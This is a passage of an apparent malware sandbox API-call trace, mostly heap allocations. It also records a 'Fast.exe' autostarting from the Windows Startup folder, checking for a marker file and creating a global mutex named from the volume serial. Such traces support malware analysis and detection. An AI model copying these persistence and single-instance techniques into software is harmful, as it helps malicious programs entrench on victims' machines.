(HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1a00 [0072.678] GetProcessHeap () returned 0x3b0000 [0072.678] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1a20 [0072.678] GetProcessHeap () returned 0x3b0000 [0072.678] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1a40 [0072.678] GetProcessHeap () returned 0x3b0000 [0072.678] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1a60 [0072.678] GetProcessHeap () returned 0x3b0000 [0072.678] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1a80 [0072.678] GetProcessHeap () returned 0x3b0000 [0072.678] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1aa0 [0072.678] GetProcessHeap () returned 0x3b0000 [0072.678] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1ac0 [0072.678] GetProcessHeap () returned 0x3b0000 [0072.679] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1ae0 [0072.679] GetProcessHeap () returned 0x3b0000 [0072.679] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1b00 [0072.679] GetProcessHeap () returned 0x3b0000 [0072.679] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1b20 [0072.679] GetProcessHeap () returned 0x3b0000 [0072.679] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1b40 [0072.679] GetProcessHeap () returned 0x3b0000 [0072.679] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1b60 [0072.679] GetProcessHeap () returned 0x3b0000 [0072.679] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1b80 [0072.679] GetProcessHeap () returned 0x3b0000 [0072.679] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1ba0 [0072.679] GetProcessHeap () returned 0x3b0000 [0072.680] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1bc0 [0072.680] GetProcessHeap () returned 0x3b0000 [0072.680] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1be0 [0072.680] GetProcessHeap () returned 0x3b0000 [0072.680] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1c00 [0072.680] GetProcessHeap () returned 0x3b0000 [0072.680] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1c20 [0072.680] GetProcessHeap () returned 0x3b0000 [0072.680] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1c40 [0072.680] GetProcessHeap () returned 0x3b0000 [0072.680] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1c60 [0072.680] GetProcessHeap () returned 0x3b0000 [0072.680] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1c80 [0072.680] GetProcessHeap () returned 0x3b0000 [0072.680] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1ca0 [0072.680] GetProcessHeap () returned 0x3b0000 [0072.681] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1cc0 [0072.681] GetProcessHeap () returned 0x3b0000 [0072.681] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1ce0 [0072.681] GetProcessHeap () returned 0x3b0000 [0072.681] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1d00 [0072.681] GetProcessHeap () returned 0x3b0000 [0072.681] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1d20 [0072.681] GetProcessHeap () returned 0x3b0000 [0072.681] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1d40 [0072.681] GetProcessHeap () returned 0x3b0000 [0072.681] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1d60 [0072.681] GetProcessHeap () returned 0x3b0000 [0072.681] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1d80 [0072.681] GetProcessHeap () returned 0x3b0000 [0072.682] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1da0 [0072.682] GetProcessHeap () returned 0x3b0000 [0072.682] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1dc0 [0072.682] GetProcessHeap () returned 0x3b0000 [0072.682] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1de0 [0072.682] GetProcessHeap () returned 0x3b0000 [0072.682] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1e00 [0072.682] GetProcessHeap () returned 0x3b0000 [0072.682] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1e20 [0072.682] GetProcessHeap () returned 0x3b0000 [0072.682] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1e40 [0072.682] GetProcessHeap () returned 0x3b0000 [0072.682] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1e60 [0072.682] GetProcessHeap () returned 0x3b0000 [0072.682] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1e80 [0072.683] GetProcessHeap () returned 0x3b0000 [0072.683] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1ea0 [0072.683] GetProcessHeap () returned 0x3b0000 [0072.683] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1ec0 [0072.683] GetProcessHeap () returned 0x3b0000 [0072.683] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1ee0 [0072.683] GetProcessHeap () returned 0x3b0000 [0072.683] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1f00 [0072.683] GetProcessHeap () returned 0x3b0000 [0072.683] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1f20 [0072.683] GetProcessHeap () returned 0x3b0000 [0072.684] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1f40 [0072.684] GetProcessHeap () returned 0x3b0000 [0072.684] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1f60 [0072.684] GetProcessHeap () returned 0x3b0000 [0072.684] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1f80 [0072.684] GetProcessHeap () returned 0x3b0000 [0072.684] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1fa0 [0072.887] GetProcessHeap () returned 0x3b0000 [0072.887] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1fc0 [0072.887] GetProcessHeap () returned 0x3b0000 [0072.887] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d1fe0 [0072.887] GetProcessHeap () returned 0x3b0000 [0072.887] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d2000 [0072.887] GetProcessHeap () returned 0x3b0000 [0072.887] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d2020 [0072.887] GetProcessHeap () returned 0x3b0000 [0072.887] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d2040 [0072.887] GetProcessHeap () returned 0x3b0000 [0072.888] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d2060 [0072.888] GetProcessHeap () returned 0x3b0000 [0072.888] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d20c0 [0072.888] GetProcessHeap () returned 0x3b0000 [0072.888] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d20e0 [0072.888] GetProcessHeap () returned 0x3b0000 [0072.888] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d2100 [0072.888] GetProcessHeap () returned 0x3b0000 [0072.888] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d2120 [0072.888] GetProcessHeap () returned 0x3b0000 [0072.888] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d2140 [0072.888] GetProcessHeap () returned 0x3b0000 [0072.888] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d2160 [0072.888] GetProcessHeap () returned 0x3b0000 [0072.888] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d2180 [0072.888] GetProcessHeap () returned 0x3b0000 [0072.889] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d21a0 [0072.889] GetProcessHeap () returned 0x3b0000 [0072.889] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d21c0 [0072.889] GetProcessHeap () returned 0x3b0000 [0072.889] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d21e0 [0072.889] GetProcessHeap () returned 0x3b0000 [0072.889] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d2200 [0072.889] GetProcessHeap () returned 0x3b0000 [0072.889] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d2220 [0072.889] GetProcessHeap () returned 0x3b0000 [0072.889] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d2240 [0072.889] GetProcessHeap () returned 0x3b0000 [0072.889] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d2260 [0072.889] GetProcessHeap () returned 0x3b0000 [0072.889] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d2280 [0072.889] GetProcessHeap () returned 0x3b0000 [0072.890] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d22a0 [0072.890] GetProcessHeap () returned 0x3b0000 [0072.890] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d22c0 [0072.890] GetProcessHeap () returned 0x3b0000 [0072.890] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d22e0 [0072.890] GetProcessHeap () returned 0x3b0000 [0072.890] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3d2300 [0072.890] _wcsicmp (_String1="netsh.exe", _String2="ipxmontr.dll") returned 5 [0072.890] _wcsicmp (_String1="netsh.exe", _String2="ipxpromn.dll") returned 5 [0072.890] GetProcessHeap () returned 0x3b0000 [0072.890] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x28) returned 0x3ce060 [0072.891] GetProcessHeap () returned 0x3b0000 [0072.891] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0x3d2890 [0072.891] GetProcessHeap () returned 0x3b0000 [0072.891] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0x3d2320 [0072.891] _wcsupr (in: _String="netsh.exe" | out: _String="NETSH.EXE") returned="NETSH.EXE" [0072.891] GetProcessHeap () returned 0x3b0000 [0072.891] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x3b0000) returned 1 [0072.891] GetProcessHeap () returned 0x3b0000 [0072.892] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x58) returned 0x3d28b0 [0072.892] GetProcessHeap () returned 0x3b0000 [0072.892] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x3b0000) returned 1 [0072.892] GetProcessHeap () returned 0x3b0000 [0072.892] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xb0) returned 0x3d2910 [0072.892] GetProcessHeap () returned 0x3b0000 [0072.892] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3d28b0 | out: hHeap=0x3b0000) returned 1 [0072.893] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\NetSh", ulOptions=0x0, samDesired=0x20019, phkResult=0x1c7948 | out: phkResult=0x1c7948*=0x90) returned 0x0 [0072.893] RegQueryInfoKeyW (in: hKey=0x90, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x1c7970, lpcbMaxValueNameLen=0x1c7980, lpcbMaxValueLen=0x1c7978, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x1c7970*=0x15, lpcbMaxValueNameLen=0x1c7980, lpcbMaxValueLen=0x1c7978, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0072.894] GetProcessHeap () returned 0x3b0000 [0072.894] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x16) returned 0x3d2340 [0072.894] GetProcessHeap () returned 0x3b0000 [0072.894] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x23) returned 0x3ce090 [0072.894] RegEnumValueW (in: hKey=0x90, dwIndex=0x0, lpValueName=0x3d2340, lpcchValueName=0x1c7940, lpReserved=0x0, lpType=0x0, lpData=0x3ce090, lpcbData=0x1c7988 | out: lpValueName="4", lpcchValueName=0x1c7940, lpType=0x0, lpData=0x3ce090, lpcbData=0x1c7988) returned 0x0 [0072.894] _wcsicmp (_String1="rasmontr.dll", _String2="ipxmontr.dll") returned 9 [0072.894] _wcsicmp (_String1="rasmontr.dll", _String2="ipxpromn.dll") returned 9 [0072.894] GetProcessHeap () returned 0x3b0000 [0072.894] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x50) returned 0x3d28b0 [0072.895] GetProcessHeap () returned 0x3b0000 [0072.895] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0x3d29d0 [0072.895] GetProcessHeap () returned 0x3b0000 [0072.895] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1a) returned 0x3ce0c0 [0072.895] _wcsupr (in: _String="rasmontr.dll" | out: _String="RASMONTR.DLL") returned="RASMONTR.DLL" [0072.895] GetProcessHeap () returned 0x3b0000 [0072.895] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ce060 | out: hHeap=0x3b0000) returned 1 [0072.895] LoadLibraryW (lpLibFileName="RASMONTR.DLL") [0088.815] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1c7340 | out: lpSystemTimeAsFileTime=0x1c7340*(dwLowDateTime=0x73b72ef0, dwHighDateTime=0x1d5e0d0)) [0088.815] GetCurrentProcessId () returned 0x8d8 [0088.815] GetCurrentThreadId () returned 0x8e8 [0088.815] GetTickCount () returned 0x115e457 [0088.816] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x1c7348 | out: lpPerformanceCount=0x1c7348*=23007437473) returned 1 Process: id = "7" image_name = "vssvc.exe" filename = "c:\\windows\\system32\\vssvc.exe" page_root = "0x31616000" os_pid = "0x970" os_integrity_level = "0x4000" os_privileges = "0xe60b7e890" monitor_reason = "rpc_server" parent_id = "5" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\vssvc.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\VSS" [0xe], "NT AUTHORITY\\Logon Session 00000000:0007220b" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 32 os_tid = 0x9f0 Thread: id = 33 os_tid = 0x9e0 Thread: id = 34 os_tid = 0x9d0 Thread: id = 35 os_tid = 0x9c0 [0085.984] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xefda80 | out: lpSystemTimeAsFileTime=0xefda80*(dwLowDateTime=0x72143cf0, dwHighDateTime=0x1d5e0d0)) [0085.984] GetCurrentProcessId () returned 0x970 [0085.984] GetCurrentThreadId () returned 0x9c0 [0085.984] GetTickCount () returned 0x115d99d [0085.984] QueryPerformanceCounter (in: lpPerformanceCount=0xefda88 | out: lpPerformanceCount=0xefda88*=22724317700) returned 1 [0085.985] malloc (_Size=0x100) returned 0x68e80 Thread: id = 36 os_tid = 0x9b0 Thread: id = 37 os_tid = 0x9a0 Thread: id = 38 os_tid = 0x980 Thread: id = 39 os_tid = 0xa80 Process: id = "8" image_name = "fast.exe" filename = "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\fast.exe" page_root = "0x13851000" os_pid = "0x570" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x4c4" cmd_line = "\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Fast.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e994" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 40 os_tid = 0x574 [0189.473] GetProcessHeap () returned 0x560000 [0189.473] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x30) returned 0x571898 [0189.473] GetProcessHeap () returned 0x560000 [0189.473] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x3a80) returned 0x5762a0 [0189.576] GetProcessHeap () returned 0x560000 [0189.576] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x300) returned 0x579d28 [0189.577] GetProcessHeap () returned 0x560000 [0189.577] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5716c0 [0189.578] GetTickCount () returned 0x113a1ac [0189.578] GetLocaleInfoW (in: Locale=0x800, LCType=0x58, lpLCData=0x45f718, cchData=32 | out: lpLCData="\x03") returned 16 [0190.057] GetProcessHeap () returned 0x560000 [0190.057] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20) returned 0x573bd8 [0190.057] GetProcessHeap () returned 0x560000 [0190.057] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20a) returned 0x57a068 [0190.057] GetProcessHeap () returned 0x560000 [0190.057] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20a) returned 0x57a280 [0190.057] GetProcessHeap () returned 0x560000 [0190.057] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20a) returned 0x57a498 [0190.057] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x57a498, nSize=0x104 | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Fast.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\fast.exe")) returned 0x45 [0190.058] GetProcessHeap () returned 0x560000 [0190.058] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a498 | out: hHeap=0x560000) returned 1 [0190.058] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\jukse.txt" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\jukse.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0190.060] GetProcessHeap () returned 0x560000 [0190.060] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a068 | out: hHeap=0x560000) returned 1 [0190.060] GetProcessHeap () returned 0x560000 [0190.060] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a280 | out: hHeap=0x560000) returned 1 [0190.060] GetProcessHeap () returned 0x560000 [0190.060] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x573bd8 | out: hHeap=0x560000) returned 1 [0190.060] GetVersion () returned 0x1db10106 [0190.060] GetCurrentProcess () returned 0xffffffff [0190.060] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x45f6ac | out: TokenHandle=0x45f6ac*=0xa0) returned 1 [0190.061] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x14, TokenInformation=0x45f6a4, TokenInformationLength=0x4, ReturnLength=0x45f6a8 | out: TokenInformation=0x45f6a4, ReturnLength=0x45f6a8) returned 1 [0190.061] CloseHandle (hObject=0xa0) returned 1 [0190.061] GetProcessHeap () returned 0x560000 [0190.061] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20) returned 0x573bd8 [0190.061] GetProcessHeap () returned 0x560000 [0190.061] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20a) returned 0x57a068 [0190.061] GetProcessHeap () returned 0x560000 [0190.061] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20a) returned 0x57a280 [0190.062] GetProcessHeap () returned 0x560000 [0190.062] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a068 | out: hHeap=0x560000) returned 1 [0190.062] GetProcessHeap () returned 0x560000 [0190.062] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a280 | out: hHeap=0x560000) returned 1 [0190.062] GetProcessHeap () returned 0x560000 [0190.062] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20) returned 0x573c28 [0190.062] GetProcessHeap () returned 0x560000 [0190.062] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x573c50 [0190.062] GetProcessHeap () returned 0x560000 [0190.062] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1e) returned 0x573c78 [0190.062] GetProcessHeap () returned 0x560000 [0190.062] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x57a068 [0190.062] GetProcessHeap () returned 0x560000 [0190.062] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a068 | out: hHeap=0x560000) returned 1 [0190.063] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x573c50, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0190.063] GetProcessHeap () returned 0x560000 [0190.063] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x573c78 | out: hHeap=0x560000) returned 1 [0190.063] GetProcessHeap () returned 0x560000 [0190.063] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x573c28 | out: hHeap=0x560000) returned 1 [0190.076] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x45f664, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x45f664*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0190.079] GetProcessHeap () returned 0x560000 [0190.079] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x573c50 | out: hHeap=0x560000) returned 1 [0190.079] GetProcessHeap () returned 0x560000 [0190.079] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x30) returned 0x57a068 [0190.079] GetProcessHeap () returned 0x560000 [0190.079] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x26) returned 0x57a0a0 [0190.079] GetProcessHeap () returned 0x560000 [0190.079] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x57a0a0, Size=0x4a) returned 0x57a0a0 [0190.079] GetProcessHeap () returned 0x560000 [0190.079] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a068 | out: hHeap=0x560000) returned 1 [0190.079] GetProcessHeap () returned 0x560000 [0190.079] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a0a0 | out: hHeap=0x560000) returned 1 [0190.080] GetProcessHeap () returned 0x560000 [0190.080] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1c) returned 0x573c50 [0190.080] GetProcessHeap () returned 0x560000 [0190.080] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1c) returned 0x573c78 [0190.080] GetProcessHeap () returned 0x560000 [0190.080] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20) returned 0x57a080 [0190.081] GetProcessHeap () returned 0x560000 [0190.081] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x57a0a8 [0190.082] GetProcessHeap () returned 0x560000 [0190.082] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1e) returned 0x57a0d0 [0190.082] GetProcessHeap () returned 0x560000 [0190.082] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x57a868 [0190.082] GetProcessHeap () returned 0x560000 [0190.082] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a868 | out: hHeap=0x560000) returned 1 [0190.082] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x57a0a8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0190.082] GetProcessHeap () returned 0x560000 [0190.082] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a0d0 | out: hHeap=0x560000) returned 1 [0190.082] GetProcessHeap () returned 0x560000 [0190.082] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a080 | out: hHeap=0x560000) returned 1 [0190.082] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x45f64c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x45f64c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0190.083] GetProcessHeap () returned 0x560000 [0190.083] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a0a8 | out: hHeap=0x560000) returned 1 [0190.083] GetProcessHeap () returned 0x560000 [0190.083] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x40) returned 0x573fb0 [0190.083] GetProcessHeap () returned 0x560000 [0190.083] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3a) returned 0x573ff8 [0190.083] GetProcessHeap () returned 0x560000 [0190.083] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x573ff8, Size=0x72) returned 0x56f8a0 [0190.084] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x0 [0190.084] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000000") returned 0xa0 [0190.085] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0x0) returned 0x0 [0190.085] GetProcessHeap () returned 0x560000 [0190.085] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x573fb0 | out: hHeap=0x560000) returned 1 [0190.085] GetProcessHeap () returned 0x560000 [0190.085] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x56f8a0 | out: hHeap=0x560000) returned 1 [0190.085] GetProcessHeap () returned 0x560000 [0190.085] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20) returned 0x57a080 [0190.085] GetProcessHeap () returned 0x560000 [0190.085] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x57a0a8 [0190.085] GetProcessHeap () returned 0x560000 [0190.085] RtlAllocateHeap 